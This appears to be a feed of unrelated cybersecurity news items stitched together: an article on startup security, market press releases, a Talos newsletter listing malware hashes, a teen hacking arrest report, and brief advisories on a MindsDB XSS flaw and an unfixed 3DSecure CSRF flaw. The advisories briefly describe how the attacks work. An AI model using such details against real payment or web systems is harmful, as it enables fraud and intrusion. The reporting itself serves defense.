Most investors aren't demanding cybersecurity preparedness from startups, but founders should still be worried about the risks.

Source: Illia Uriadnikov via Alamy Stock Photo

It was a tale of two startups.

"A company that I invested in — about, oh, five years ago — happened to be in the proptech \[property technology\] space," said David Rose, managing partner at Rose Tech Ventures, during a panel at Cybertech NYC last week. The property tech startup he was referring to helped people build their credit by paying their rent with credit cards. "So it was a really cool company, \[and\] it was going great. And then it turned out they had been hit by scammers, who were setting up fake buildings and fake credit cards, using them \[for fraud\]. And the entire company blew up because of that."

Another company from one of Rose's protégés had a similar idea and business model, but because the company had better security, it was able to grow. "So you see a company that had really interesting ideas, demonstrated a great potential, smart guys, but the company got killed because of cyber," Rose noted.

Startups are valued for their forward thinking, their financials, and their talent. No investment negotiation has ever broken down over the issue of cyber preparedness. Yet, clearly, an incident can be catastrophic to a promising but volatile new business, and anecdotal evidence suggests investors and founders alike are starting to take that risk seriously.

**The Threat to Startups**

Volt Typhoon, the Chinese advanced persistent threat (APT) du jour, has compromised critical infrastructure providers of every kind — Internet service providers, electric utilities, wastewater treatment, energy, and more — on multiple continents, targeting military organizations along the way. Its attacks are of the highest caliber among known APTs. But a few weeks ago, it went after a different type of prey: a startup.

Versa Networks attracted a lot of attention with its secure access service edge (SASE) software-as-a-service offering and earned $120 million in pre-IPO funding in October 2022. Less headline-grabbing was a bug in its software-defined wide area networking (SD-WAN) technology (CVE-2024-39717). The vulnerability — rated as "high" severity with a CVSS score of 7.2 — allowed Volt Typhoon to push a custom, credential-grabbing Web shell through the Versa Director platform, allowing the attackers to breach four Versa customers in the United States and one in India.

Though attacks and breaches can happen to any company, startups like Versa Networks, security camera firm Verkada — which was fined $3 million by the FTC last month following its breach where attackers took over customer cameras — and Rose's proptech failure are particularly vulnerable. Like any small or medium-sized businesses, they might struggle with budgets and resource allocation. More so than other businesses, though, startups sell excitement and promise. Where a typical business might aim to be secure, but simply lack the money and manpower to do it right, startups that aim to move fast and break things might simply deprioritize a cost that does not incur growth.

As Rose told Dark Reading at Cybertech, "In the case of the company that I mentioned, it \[cybersecurity\] hadn't even occurred to them. They were thinking about the upside \[of the business\], not the downside."

Unfortunately, the answer to securing startups isn't straightforward.

**When Startups Need to Think About Security**

When established companies shift their attention to beefing up their cybersecurity, they typically invest in personnel, training, and layered security software (among other things). But as Rose points out, "Virtually no founders we are speaking with are facing cyber security challenges because they don't have any product!"

Startup security is a more nuanced matter which largely rests on timing, explains Bob Ackerman, founder and managing director of the early-stage VC company AllegisCyber.

"When you're looking at a stage zero startup, security probably is not the number one consideration. It's, 'Is this a good idea?', 'Can this team perform?', 'Is there actually a business here?' But as companies gather steam, establish critical mass, the consequences of getting cybersecurity wrong increase," Ackerman says.

"Usually a mid-stage or later-stage company has enough cybersecurity questions for it to be obvious that we need a security team, a security program, \[and\] a security budget as well," says Will Lin, author of The VC Field Guide. "If I were to force a number, I would say that for companies over, say, 3,000 employees, it starts becoming more of a key topic for investors."

Lin cautions, though, that needs vary widely across companies of different kinds.

"You might find very, very large organizations — even above 3,000 people, for example — that have a tiny, three-person-or-less security team, and then you might find a small organization of 200 people spending quite a lot per year on security. Security budgets and programs and everything tends to be more reactive than \[saying\] 'Obviously, the next step of the company is we need to do X, Y, Z," Lin explains.

The variation occurs not just due to size and maturity, Ackerman adds, but also industry.

"Maybe a financial services company is going to have cyber risk exposure, and so \[be\] aware of it from a very early stage, particularly in sectors like financial services, where there is a lot of personally identifiable information, or anything in supply chain, where a compromise could be disruptive and have an adverse consequence," he says.

**Nudging Security to a Higher Priority**

According to a February survey from business insurance company Embroker, more than two thirds of founders have experienced a cyberattack against one of their businesses.

Founders seem to be extra cautious about security. In the survey, 86% reported owning some kind of cyber insurance, and 71% were considering additional security protections in addition to having insurance. About a third (31%) of the respondents reported being more concerned with security than they were the year prior.

Those who aren't thinking about cybersecurity may be nudged into doing something by the investors themselves. As Rose points out, "One of the things that we have on our standard investor checklist when we do full-on due diligence is: What is your cybersecurity plan? How is it going to work? Actually, in many cases, it's the first time anybody ever asked the startup founder about security."

He continues, "I would be very happy if they have something in their deck — at least in their appendix to their deck — which would say: 'Here's our thoughts, here's our plan, here's our vulnerability.' Just tell me that you've actually given more than two-and-a-half minutes worth of thought to the subject, and you will be ahead of 95% of other companies."

More mature, later-stage startups need to start making material investments, and hiring for executive positions, he explains, "And if you're a platform business that is open to the public, and you've got any kind of money going anywhere, then you damn well better have a really serious plan."

"If the world was under my control, I would say: Yes, as a startup founder with no paying clients until next year, I want you thinking about building in security from day one. But because that doesn't tie out to dollars day one — and startups are always pressed for dollars, always trying to move fast and break things — that's a very hard sell," he admits.

**About the Author**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

When Startup Founders Should Start Thinking About Cybersecurity

PRESS RELEASE

DELRAY BEACH, Fla., Sept. 10, 2024 /PRNewswire/ -- The global Security Testing Market size is projected to grow from USD 14.5 billionin 2024 to USD 43.9 billion by 2029 at a Compound Annual Growth Rate (CAGR) of 24.7% during the forecast period, according to a new report by MarketsandMarkets™.

One of the key factors promoting the security testing will be the increasing incidence of cyberattacks that target the software's vulnerabilities. However, the organizations, being in the digitalized world are getting more and more dependent on the digital applications that require the identification of the system's security risks and their resolution before the potential exploitation of such risks by the attackers which is becoming the new crucial practice. This rising concern pushes organizations to adopt the security testing process in order to guard their systems, data, and reputation from the possible breaches.

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Based on the application testing tools, SAST accounts for the highest market size during the forecast period.

The adoption of Static Application Security Testing (SAST) tools is increasing as organizations prioritize secure software development. SAST tools enable developers to identify and fix security vulnerabilities early in the coding process, reducing the risk of security flaws in production. This shift is driven by the growing emphasis on integrating security into the software development lifecycle (SDLC) and the need to comply with stringent security standards. As a result, more companies are adopting SAST tools to enhance code security, improve development efficiency, and ensure that applications are robust against cyber threats from the outset.

By Application security testing type, web application security testing accounts for the highest market size during the forecast period.

The adoption of web application security testing is growing as organizations increasingly rely on web-based platforms for business operations and customer interactions. With the rise in cyber threats targeting web applications, such as SQL injection and cross-site scripting (XSS), companies are prioritizing security testing to identify and mitigate vulnerabilities before they can be exploited. This proactive approach is driven by the need to protect sensitive data, ensure compliance with regulations, and maintain customer trust in an environment where web applications are a critical part of the business landscape.

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By Region, Asia Pacific will grow at the highest CAGR during the forecast period.

The adoption of security testing services in the Asia Pacific region is rapidly increasing due to the region's expanding digital economy and the rising threat of cyberattacks. As businesses in Asia-Pacific embrace digital transformation and cloud computing, the need to identify and address vulnerabilities in their systems has become crucial. Regulatory pressures and growing awareness of cybersecurity risks are also driving organizations to invest in security testing solutions to ensure the resilience of their IT infrastructure and protect sensitive data from breaches. This trend is further fueled by the region's diverse and complex threat landscape, prompting a proactive approach to cybersecurity.

Top Key Companies in Security Testing Market:

IBM (US), HCLTech (India), Synopsys (US), OpenText (UK), Cigniti (US), Qualitest (UK), Intertek (UK), DXC Technology (US), eInfochips (US), Checkmarx (US), HackerOne (US), Invicti (US), DataArt (US), Cobalt Labs (US), Trustwave (US), Contrast Security (US), Veracode (US), Qualys (US), OffSec (US), NCC Group (UK), GitHub (US), Bugcrowd (US), Applause (US), Rapid7 (US), Parasoft (US), BreachLock (US), ImmuniWeb (Switzerland), Pentest People (UK), SafeAeon (US), and REDTEAM.PL (Poland) are the key players and other players in the Security Testing Market.

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Security Testing Market Worth $43.9B by 2029

PRESS RELEASE

REDDING, Calif., Sept. 10, 2024 /PRNewswire/ -- According to a new market research report titled, 'SCADA Market by Type (Monolithic SCADA Systems, Distributed SCADA Systems, Networked SCADA Systems), Component (Hardware, Software, Services), Deployment Mode, End-use Industry (Oil & Gas, Automotive, F&B)—Global Forecast to 2031.

The rising adoption of automated technologies across Europe and Asia-Pacific, the advent of Industry 5.0, the growing demand for smart and digitized production processes, and the increasing emphasis on industrial automation are key factors driving the growth of SCADA. However, the high initial investment requirements for SCADA implementation are restraining the growth of this market.

Furthermore, the growing adoption of wireless sensor networks and the proliferation of smart factories are expected to generate growth opportunities for the players operating in this market. However, the risk of cyberattacks is a major challenge impacting market growth. Furthermore, the rising adoption of Industry 4.0 technologies and the increasing reliance on Human-Machine Interface (HMI) systems are prominent trends in the SCADA market.

Advent of Industry 5.0 Boosting the Demand for Scada Systems 

Industry 5.0, also known as the Fifth Industrial Revolution, is a new and emerging phase of industrialization that builds upon the principles of Industry 4.0 but emphasizes the human touch and the integration of human skills with advanced technologies. Industry 4.0 focused on technologies such as the Internet of Things and big data, whereas Industry 5.0 seeks to involve human, environmental, and social aspects.

As Industry 5.0 promotes enhanced collaboration between humans and machines, there is an increasing demand for sophisticated automation and control systems capable of effectively bridging the gap between these elements. SCADA systems facilitate real-time monitoring and control of industrial processes, playing an important role in enabling seamless interactions between humans and machines. They offer the necessary infrastructure for incorporating human input and feedback into automated workflows, thereby optimizing performance and efficiency. With Industry 5.0 driving the adoption of advanced technologies, the requirement for comprehensive monitoring and control solutions to ensure seamless integration and coordination is growing. SCADA systems have significantly improved the reliability and capability of automation. Centralized SCADA systems are increasingly utilized for decision-making in hazardous situations to prevent accidents in complex infrastructure. These systems oversee and manage entire sites, support informed decision-making, enhance efficiency, and minimize downtime. The advantages provided by SCADA systems, coupled with the escalating need to maintain the integrity and reliability of critical infrastructure, are driving market growth.

Governments are actively supporting industrial automation and digitalization initiatives. For example, in January 2021, the President of Spain introduced three new plans for SMEs (2021-2025)—the Connectivity Plan, the Strategy to Promote 5G Plan, and the National Strategy for Artificial Intelligence. These plans are part of the Spain 2025 Digital Agenda and aim to advance the development and deployment of SCADA systems across various industries. By enhancing capabilities and driving digital transformation, these initiatives are increasing demand for SCADA systems and contributing to market growth.

SCADA Market Analysis: Key Segmental Findings

*   By Type: In 2024, the networked SCADA systems segment is expected to account for the largest share of 47.5% of the SCADA market. Moreover, this segment is projected to register the highest CAGR of 8.2% during the forecast period from 2024 to 2031.
    
*   By Component: In 2024, the hardware segment is expected to account for the largest share of 55.9% of the SCADA market. However, the software segment is estimated to record the highest CAGR during the forecast period from 2024 to 2031.
    
*   By Deployment Mode: In 2024, the on-premise deployments segment is expected to account for the dominant share of the SCADA market. However, the cloud-based deployments segment is anticipated to register the highest CAGR of 10.5% during the forecast period from 2024 to 2031.
    
*   By End-use Industry: In 2024, the manufacturing segment is expected to account for the major share of 26.4% of the SCADA market. However, the automotive segment is slated to record the highest CAGR of 10.7% during the forecast period from 2024 to 2031.
    

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Geographic Analysis:

By geography, the SCADA market is segmented into North America, Europe, Asia-Pacific, Latin America, and the Middle East & Africa. In 2024, North America is estimated to account for the largest share of 32.1% of the SCADA market. The North America SCADA market is expected to reach $5,488.3 million by 2031.

The industrial sector has seen extensive implementation of automation systems, especially in North America. Manufacturers in this region are increasingly deploying advanced automation technologies in their operations. North American countries are competing with their Asian and European counterparts to position themselves as key manufacturing centers, with the goal of lowering costs related to importing goods. The high labor costs in the U.S. are a primary impetus for the adoption of process control systems, such as SCADA (Supervisory Control and Data Acquisition), MES (Manufacturing Execution System), and DCS (Distributed Control System). These systems are instrumental in reducing the need for human oversight and management of automation processes.

Key market players are focusing on developing SCADA solutions with advanced features tailored for various industrial applications, including oil & gas, power, utilities, automotive, electronics, and F&B. For example, in October 2022, Emerson Electric Co. (U.S.) introduced Movicon.NExT 4.2, an advanced automation platform designed for seamless integration with field devices and enterprise systems. This software provides the data and insights necessary for achieving operational excellence across diverse applications in discrete and hybrid manufacturing sectors, including F&B, packaged consumer goods, energy, infrastructure, building automation, and machine automation.

Furthermore, in October 2022, AtomTech (U.S.) expanded its North American presence by launching AtomTech Canada. This move addresses the growing demand for automation, cybersecurity, SCADA, and IIoT 4.0 solutions across industries such as automotive, medical equipment, and warehouse logistics. Such developments support the growth of the SCADA market in the region during the forecast period.

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Asia-Pacific: The Fastest-growing Regional Market

The SCADA market in Asia-Pacific is poised to register the highest CAGR during the forecast period. In 2024, China is expected to account for the major share of the SCADA market in Asia-Pacific. Asia-Pacific generates significant growth opportunities for the adoption of industrial process control solutions, given its extensive and diverse manufacturing sector. Traditionally, manual or semi-automatic control processes have characterized industrial production in the region. However, advanced automation solutions are becoming essential for achieving the flexibility required in high-volume production lines, thereby enhancing overall operational efficiency.

Asia-Pacific is a prominent manufacturing hub across multiple sectors, including automotive, electronics, consumer goods, pharmaceuticals, and more. This manufacturing prominence is a significant driver of automation technology adoption in the region. SCADA solutions are increasingly being adopted in countries such as China, Japan, South Korea, and India, driven by efforts to modernize manufacturing facilities and the need for SCADA software to interface with Remote Terminal Units (RTUs), Programmable Logic Controllers (PLCs), and Human-Machine Interface (HMI) components. The focus on improving process efficiencies and reducing production costs further fuels market growth, enabling operators to analyze and make decisions from remote locations.

The rapid advancement of automation and artificial intelligence (AI) is having a profound impact on economies in the APAC region. Asiais expected to be the fastest-growing automation market, driven by factors such as population growth, urbanization, economic development, rising wages, and decreasing costs associated with automated industrial technologies. The increasing awareness of advanced industrial control solutions, including SCADA systems for comprehensive manufacturing process monitoring, is a key driver of this market growth.

The U.K. Continues to Dominate the SCADA Market in Europe

In 2024, the U.K. is expected to account for the largest share of the SCADA market in Europe. Several factors are driving the adoption of industrial control systems in the U.K., including the expansion of the manufacturing industry, stringent manufacturing and industrial safety regulations, increased diversity in consumer products, growing awareness of automated systems, and rising labor costs. Many enterprises and industries in the U.K. are increasingly adopting automated machines and control solutions to enhance operational process monitoring. Key sectors such as oil & gas, power, automotive, F&B, electronics, and semiconductors are leading the way in implementing industrial control systems. In response to the evolving needs of these industries, market players are actively developing advanced SCADA solutions. For example, in September 2020, Severn Trent plc (U.K.) invested USD 6.4 million to upgrade its SCADA monitoring and management systems to a cloud-based platform.

SCADA Market: Competition Analysis

This report offers a competitive analysis based on an extensive assessment of the leading players' product portfolios, geographic presence, and key growth strategies adopted over the past three to four years. Major companies in the SCADA market have implemented various strategies to expand their product offerings and global footprints and augment their market shares. The key strategies followed by most companies in the SCADA market were product launches & enhancements, acquisitions, expansion, partnerships, agreements, and collaborations. The key market players operating in the SCADA market include Rockwell Automation, Inc. (U.S.), Siemens AG (Germany), Eaton Corporation plc (Ireland), Schneider Electric SE (France), ABB Ltd (Switzerland), Yokogawa Electric Corporation (Japan), General Electric Company (U.S.), Emerson Electric Co. (U.S.), Honeywell International, Inc. (U.S.), Mitsubishi Electric Corporation (Japan), OMRON Corporation (Japan), Pilz GmbH & Co. KG (Germany), Survalent Technology Corporation (Canada), Valmet (Finland), and Hitachi, Ltd. (Japan).

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SCADA Industry Overview: Latest Developments from Key Industry Players

*   In June 2023, Siemens AG introduced the SICAM 8 power automation platform, which includes two new software solutions: the SICAM HMI (Human Machine Interface) visualization tool and the SICAM S8000 software solution for power automation. This platform is part of the Siemens Xcelerator portfolio, an open digital platform designed to help customers accelerate their digital transformation at scale.
    
*   In April 2023, Siemens AG partnered with Gujarat Metro Rail Corporation Limited (GMRCL) (India) to advance rail electrification technologies. Siemens Limited will deliver project management services and cutting-edge rail electrification technologies, including advanced power supply and distribution systems. Additionally, Siemens Limited will provide sophisticated digital solutions, such as Supervisory Control and Data Acquisition (SCADA) systems, for both metro projects.
    
*   In March 2023, Rockwell Automation launched FactoryTalk Optix, a new addition to the company's visualization portfolio. FactoryTalk Optix is a modern, cloud-enabled human-machine interface (HMI) platform that allows users to design, test, and deploy applications directly from a web browser remotely, in real time.
    
*   In February 2023, ABB launched the ABB Ability Symphony Plus distributed control system that delivers seamless and secure access to an extended digital ecosystem for power generation and water industries. It increases performance and enables plant-wide digitalization, offering a noninvasive modernization of the installed base.
    
*   In October 2022, Emerson released a new version of its DeltaV distributed control system (DCS). Version 15 helps plants digitally transform operations through improved production optimization and enhanced operator performance.
    
*   In April 2022, ABB partnered with Ramboll (Denmark) to explore new opportunities in offshore substations. ABB will leverage its expertise in the design and supply of electrical, SCADA, automation, and telecommunications equipment. This includes engineering, products, installation, commissioning, and operational maintenance of these systems.
    
*   In January 2022, Schneider Electric entered into an agreement with AVEVA, a leading technology company. This collaboration was designed to further AVEVA's digital and sustainability objectives. Schneider Electric's extensive reach and profound market expertise will support AVEVA in sustaining, expanding, and enhancing its leadership in the industrial automation software and SCADA sectors across the Pacific region.
    
*   In April 2021, Mitsubishi Electric updated its SCADA lineup with GENESIS64, introducing two new software products for system monitoring and process control. This new software suite replaced the MC Works64 SCADA software, which was designed for monitoring small production lines and managing multi-site monitoring.
    
*   In January 2021, Rockwell Automation acquired Fiix Inc. (Canada), an AI-enabled computerized maintenance management system (CMMS) company. This acquisition bolsters Rockwell Automation's software strategy and strengthens its Lifecycle Services business. The addition of Fiix enhances the company's ability to offer a comprehensive range of industrial automation services, aimed at maximizing the value of customers' production assets, systems, plants, and processes.

SCADA Market Is Set to Reach $18.7B by 2031

A June report from CyberSeek found that there are only enough skilled workers to fill 85 percent of cybersecurity jobs in America.

Thursday, September 12, 2024 14:00

I have written about the dreaded “cybersecurity skills gap” more times than I can remember in this newsletter, but I feel like it’s time to revisit this topic again.  

That’s because the White House announced a new initiative last week for the U.S. government called the “Service for America” initiative designed to train new workers in the cybersecurity field. This measure directs U.S. federal agencies to help recruit and prepare Americans for jobs in cybersecurity and AI by removing certain degree requirements and emphasizing skills-based hiring. This means, hopefully, more educational resources for people looking to break into cybersecurity. 

On its face, I’m all in favor of this. I did eventually go back to school to get my associate's degree in cybersecurity, but much of what I’ve learned about this field has been from working at Talos and spending time around my talented and intelligent colleagues, many of whom did not go to college for cybersecurity.  

The U.S. government also has separate initiatives to support neurodivergent candidates who want to work in security, as well as those who are blind and visually impaired. 

My concern is that, even if we do train these employees and give them the proper skills, it’s on companies to eventually hire them.  

A June report from CyberSeek found that there are only enough skilled workers to fill 85 percent of cybersecurity jobs in America. Yet hiring in the industry has remained flat, according to a soon-to-be-released report from cybersecurity non-profit ISC2. This year, the global security workforce is estimated to be 5.5 million, which is only a 0.1 percent increase year over year, according to the report. 

Among the more than 15,000 cybersecurity practitioners from around the globe who responded to the study, 38 percent of respondents said their organizations had experienced a cybersecurity hiring freeze over the past year, up 8 percent from 2023. Thirty-seven percent of respondents reported budget cuts to the security program, and another 25 percent said their teams had experienced layoffs.  

That same CyberSeek report also found that, in the U.S., the amount of cybersecurity-related job postings decreased by 29 percent year-over-year. 

So as these skills gap-closing programs begin, we need to be thinking about what skills, exactly, managers want their workers to be trained in. There is obviously some sort of disconnect here between the people who want to work in security compared to the companies or managers who want to hire them. Or there just simply isn’t enough money to go around right now to handle staffing up cybersecurity teams, and that’s just the reality of the current economy in the U.S. and globally.  

I’m not saying this to discourage anyone from entering the security space or spread doom and gloom. But I do think it’s important to acknowledge that there are many already skilled and trained workers who simply cannot find work or are treading water throwing dozens of applications at the wall to see what sticks. 

I’ve seen too many people posting on LinkedIn recently looking for a cybersecurity job to think that the solution to bolstering security is getting \*another\* worker in with the same skillset to compete for the same job opening as someone who’s been in the industry for 10 years. 

**The one big thing **

Talos recently uncovered a new threat called “DragonRank” that primarily targets countries in Asia — and a few in Europe — operating PlugX and BadIIS for search engine optimization (SEO) rank manipulation. DragonRank exploits targets’ web application services to deploy a web shell and utilizes it to collect system information and launch malware such as PlugX and BadIIS, running various credential-harvesting utilities. Their PlugX not only used familiar sideloading techniques, but the Windows Structured Exception Handling (SEH) mechanism ensures that the legitimate file can load the PlugX without raising suspicion. 

**Why do I care? **

This group compromises Windows Internet Information Services (IIS) servers hosting corporate websites, with the intention of implanting the BadIIS malware. BadIIS is malware used to manipulate search engine crawlers and disrupt the SEO of the affected sites. With those compromised IIS servers, DragonRank can distribute the scam website to unsuspecting users. DragonRank engages in SEO manipulation by altering or exploiting search engine algorithms to improve a website's ranking in search results. They conduct these attacks to drive traffic to malicious sites, increase the visibility of fraudulent content, or disrupt competitors by artificially inflating or deflating rankings. These attacks can harm a company's online presence, lead to financial losses, and damage its reputation by associating the brand with deceptive or harmful practices. The actor then takes these compromised websites and promotes them, effectively turning these sites into platforms for scam operations. 

**So now what? **

Talos released a new Snort rule set and several ClamAV signatures to detect and block the malware used in these attacks. Talos has confirmed more than 35 IIS servers had been compromised and deployed the BadIIS malware across a diverse array of geographic regions, including Thailand, India, Korea, Belgium, Netherlands and China in this campaign, so it’s clearly still active and potentially growing. 

**Top security headlines of the week **

**A new type of attack called “RAMBO” could allow adversaries to steal data over air-gapped networks with RAM radio signals.** An Israeli academic researcher recently announced the discovery of RAMBO (Radiation of Air-gapped Memory Bus for Offense), in which an attacker could generate electromagnetic radiation from a device’s RAM to send data from air-gapped computers. Air-gapped systems are otherwise offline networks that are extremely isolated, often used in critical environments like government agencies, weapons systems and nuclear power stations. While RAMBO does not pose a threat for any hacker with access to the internet, it could open the door for insider threats with access to the network to deploy malware through physical media like USB drives or supply chain attacks. RAMBO could allow attackers to seal encoded files, encryption keys, images, keystrokes and biometric information from these systems at a rate of 1,000 bits per second. Researchers conducted tests into these types of attacks over distances of up to 23 feet. A technical paper published on the topic includes several potential mitigations, including RAM jamming, external EM jamming and Faraday enclosures around potentially targeted systems. (Bleeping Computer, SecurityWeek) 

**Commercial spyware makers are still finding ways to bypass government sanctions and, in some cases, have made their tools harder to detect.** A new report from the Atlantic Council found that “Most available evidence suggests that spyware sales are a present reality and likely to continue.” The report specifically highlights increased activity from Intellexa and the NSO Group, two companies known for creating and selling spyware tools that have been targeted over the past few years by international sanctions. These companies, and specifically Intellexa, have found ways to work around sanctions by restructuring their businesses with subsidiaries, partners and other relationships spread across multiple geographic areas. Intellexa is known for creating the Predator spyware, while the NSO Group is infamous for the Pegasus spyware. Both pieces of software often target high-risk individuals, sometimes by governments, such as journalists, politicians and activists. Security researchers also recently found that Intellexa has established new infrastructure in the Democratic Republic of the Congo and Angola, making “it more difficult for researchers and cybersecurity defenders to track the spread of Predator.” (Dark Reading, The Register) 

**Several Western intelligence agencies have formally charged the Russian GRU for carrying out cyber attacks against Ukraine designed to disrupt aid efforts.** Government agencies in the U.S., U.K. and several other countries blamed Unit 29155, which has been linked to past espionage campaigns, with targeting government and civilian agencies and civil society organizations in Western Europe, the EU and NATO after Russia invaded Ukraine in 2022. Intelligence agencies in the Netherlands, Czech Republic, Germany, Estonia, Latvia, Canada and Australia all signed the declaration. They also formally blamed Unit 29155 for the WhisperGate campaign, a coordinated attack on Ukrainian government agencies in January 2022 that seemed to set the stage for a physical ground invasion. The announcement stated that WhisperGate has since been used to “scout and disrupt” aid deliveries to Ukraine. When Talos first reported on WhisperGate in 2022, our researchers stated that “attackers used stolen credentials in the campaign and they likely had access to the victim network for months before the attack, a typical characteristic of sophisticated advanced persistent threat (APT) operations.” (Reuters, BBC) 

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*   Watch our new documentary, "The Light We Keep: A Project PowerUp Story" 
*   Vulnerability in Acrobat Reader could lead to remote code execution; Microsoft patches information disclosure issue in Windows API 
*   Four zero-days included in group of 79 vulnerabilities Microsoft discloses, including one with 9.8 severity score 

**Upcoming events where you can find Talos **

**LABScon** **(Sept. 18 - 21)**  

_Scottsdale, Arizona_ 

**VB2024** **(Oct. 2 - 4)** 

_Dublin, Ireland_ 

**MITRE ATT&CKcon 5.0** **(Oct. 22 - 23)** 

_McLean, Virginia and Virtual_

Nicole Hoffman and James Nutland will provide a brief history of Akira ransomware and an overview of the Linux ransomware landscape. Then, morph into action as they take a technical deep dive into the latest Linux variant using the ATT&CK framework to uncover its techniques, tactics and procedures.

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 47ecaab5cd6b26fe18d9759a9392bce81ba379817c53a3a468fe9060a076f8ca   
**MD5:** 71fea034b422e4a17ebb06022532fdde   
**Typical Filename:** VID001.exe   
**Claimed Product:** N/A   
**Detection Name:** RF.Talos.80 

**SHA 256:** 3a2ea65faefdc64d83dd4c06ef617d6ac683f781c093008c8996277732d9bd66   
**MD5:** 8b84d61bf3ffec822e2daf4a3665308c   
**Typical Filename:** RemComSvc.exe   
**Claimed Product:** N/A   
**Detection Name:** W32.3A2EA65FAE-95.SBX.TG 

**SHA 256:** 35dcf857f0bb2ea75bf4582b67a2a72d7e21d96562b4c8a61b5d598bd2327c2c   
**MD5:** fab8aabfdabe44c9a1ffa779fda207db   
**Typical Filename:** ACenter.exe   
**Claimed Product:** Aranda AGENT   
**Detection Name:** Win.Trojan.Generic::tg.talos  

**SHA 256:** 0e2263d4f239a5c39960ffa6b6b688faa7fc3075e130fe0d4599d5b95ef20647   
**MD5:** bbcf7a68f4164a9f5f5cb2d9f30d9790   
**Typical Filename:** bbcf7a68f4164a9f5f5cb2d9f30d9790.vir   
**Claimed Product:** N/A   
**Detection Name:** Win.Dropper.Scar::1201 

**SHA 256:** 5e537dee6d7478cba56ebbcc7a695cae2609010a897d766ff578a4260c2ac9cf   
**MD5:** 2cfc15cb15acc1ff2b2da65c790d7551   
**Typical Filename:** rcx4d83.tmp   
**Claimed Product:** N/A     
**Detection Name:** Win.Dropper.Pykspa::tpd

We can try to bridge the cybersecurity skills gap, but that doesn’t necessarily mean more jobs for defenders

A recent National Crime Agency (NCA) investigation led to the arrest of a teenager in Walsall, England, linked…

A recent National Crime Agency (NCA) investigation led to the arrest of a teenager in Walsall, England, linked to a cyberattack on Transport for London (TfL). While the attack caused some disruptions, core services were largely unaffected.

National Crime Agency (NCA) has apprehended a teenager in Walsall, England, in connection with a cyber security incident that impacted Transport for London (TfL). The arrest is part of an ongoing investigation into the attack, that caused some disruptions, though the impact on core public transport services was minimal.

> Transport for London (@TfL) is addressing an ongoing cybersecurity incident. No customer data has been compromised, and services are unaffected. They're working with government agencies and will provide updates. Stay informed via the TfL website. #CyberSecurity #London pic.twitter.com/ozUDOs18uw
> 
> — Hackread.com (@HackRead) September 2, 2024

The teenager, whose identity has not been released due to their age, was arrested by NCA officers in Walsall. The arrest follows 2 weeks of investigation into the cyber attack. Charges have not yet been formally filed, but it is anticipated that they will be related to the incident.

The arrest and the age of the alleged hacker align with the **NCA’s February 2024 findings**, which revealed that 1 in 5 youths in the United Kingdom engage in cybercrime. The agency disclosed that one in five children aged 10-16 in the UK have participated in online activities that violate the Computer Misuse Act.

Jake Moore, Global Cybersecurity Advisor at ESET, provided insights into the potential motivations behind the attack and the importance of educating young people about the consequences of cybercrime.

Moore suggested that if a single individual was responsible for the TfL attack, it might have been a “cyber trial” rather than an organized attack. He explained that many young people experiment with their hacking skills without fully understanding the potential consequences of their actions.

“Hopefully, this can be a lesson to all those with similar skills to make sure they use them legally and for good,” Moore said. “When personal and financial details such as bank account numbers and sort codes are compromised, it no longer becomes a game of who can go the furthest and instantly becomes serious.”

> A teenager has been arrested by the NCA, as part of the investigation into a cyber security incident affecting Transport for London (TfL).
> 
> FULL STORY ➡️ https://t.co/TFbZdJ3FDO
> 
> — National Crime Agency (NCA) (@NCA\_UK) September 12, 2024

The involvement of teenagers in cybercrime is quite a serious issue. Unlike older individuals, who may be motivated by financial gain or organized crime, teens often view these activities as a game, without fully understanding the legal and ethical consequences.

Moreover, early involvement in cybercrime could set them on a dangerous path, limiting their potential for positive career opportunities while contributing to an increase in sophisticated online threats. As cyber criminals get younger, the challenges for law enforcement and cybersecurity professionals grow more difficult, demanding targeted interventions to prevent a generation from falling into cybercrime.

Nevertheless, as the investigation into the TfL cyber attack is underway, it is expected that more information will emerge regarding the teenager’s involvement and the extent of the damage caused.

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NCA Arrests Teenager in Walsall Over TfL Cyber Attack

A cross-site scripting (XSS) vulnerability exists in all versions of the MindsDB platform, enabling the execution of a JavaScript payload whenever a user enumerates an ML Engine, database, project, or dataset containing arbitrary JavaScript code within the web UI.

**MindsDB Cross-site Scripting vulnerability**

Moderate severity GitHub Reviewed Published Sep 12, 2024 to the GitHub Advisory Database • Updated Sep 12, 2024

GHSA-32fj-r8qw-r8w8: MindsDB Cross-site Scripting vulnerability

A cross site request forgery vulnerability was identified in the Authorization Method of 3DSecure version 2.0, allowing attackers to submit unauthorized form data by modifying the HTTP Origin and Referer headers.

    Product: 3DSecure 2.0Manufacturer: RedsysAffected Version(s): 3DSecure 2.0 3DS Authorization MethodTested Version(s): 3DSecure 2.0 3DS Authorization MethodVulnerability Type: Cross-Site Request Forgery (CSRF)Risk Level: MediumSolution Status: Not yet fixedManufacturer Notification: 2024-01-17Solution Date: N/APublic Disclosure: 2024-09-17CVE Reference: CVE-2024-25286Overview:A Cross-Site Request Forgery (CSRF) vulnerability was identified in the Authorization Method of 3DSecure 2.0, allowing attackers to submit unauthorized form data by modifying the HTTP Origin and Referer headers.Vulnerability Details:By altering the Origin and Referer headers, attackers can trick the server into processing unauthorized transactions.Solution:No solution is currently available. Redsys has been notified.References:OWASP Web Security Testing Guide: CSRFDiscoverer:Reported by Rubén López Herrera________________________________Este mensaje y sus adjuntos se dirigen exclusivamente a su destinatario, puede contener información privilegiada o confidencial y es para uso exclusivo de la persona o entidad de destino. Si no es usted. el destinatario indicado, queda notificado de que la lectura, utilización, divulgación y/o copia sin autorización puede estar prohibida en virtud de la legislación vigente. Si ha recibido este mensaje por error, le rogamos que nos lo comunique inmediatamente por esta misma vía y proceda a su destrucción.The information contained in this transmission is confidential and privileged information intended only for the use of the individual or entity named above. If the reader of this message is not the intended recipient, you are hereby notified that any dissemination, distribution or copying of this communication is strictly prohibited. If you have received this transmission in error, do not read it. Please immediately reply to the sender that you have received this communication in error and then delete it.Esta mensagem e seus anexos se dirigem exclusivamente ao seu destinatário, pode conter informação privilegiada ou confidencial e é para uso exclusivo da pessoa ou entidade de destino. Se não é vossa senhoria o destinatário indicado, fica notificado de que a leitura, utilização, divulgação e/ou cópia sem autorização pode estar proibida em virtude da legislação vigente. Se recebeu esta mensagem por erro, rogamos-lhe que nos o comunique imediatamente por esta mesma via e proceda a sua destruição

